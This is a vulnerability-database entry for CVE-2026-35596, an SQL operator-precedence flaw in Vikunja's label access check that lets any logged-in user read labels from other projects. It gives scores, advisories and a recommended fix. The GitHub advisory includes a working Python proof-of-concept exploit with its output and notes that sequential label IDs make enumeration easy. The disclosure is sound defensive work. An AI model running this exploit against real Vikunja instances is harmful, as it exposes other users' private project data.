CVE-2026-35596

mediumpriority · track · 0OT risk · elevatedEPSS 0.003 · 19 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.27% (19th) EPSS
CVSS 4.3 · medium
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.3
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · ENISA EU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.8 · impact 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:Nsecondary · OSV
v3.14mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-hj5c-mhh2-g7jqVikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug2026-04-10ghsa · osvUS

    ## Summary The `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. ## Details The access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll) ``` The xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained. Any label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} a_token = login("labeler", "Labeler123!") b_token = login("snooper", "Snooper123!") # labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(a_token), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(a_token), json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token), json={"label_id": label["id"]}) # snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token)) print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403 if r.status_code == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['created_by']['username']}") # labeler ``` Output: ``` GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler ``` Label IDs are sequential integers, making enumeration straightforward. ## Impact Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed. ## Recommended Fix Use explicit `builder.And`/`builder.Or` grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("label_tasks.label_id is not null"), cond), builder.Eq{"labels.created_by_id": createdByID}, ), )). Exist(ll) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

  • GO-2026-5428Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug in code.vikunja.io/api2026-06-25vendor · osvUS

    Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-10modified 2026-10-26
08

references (14)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan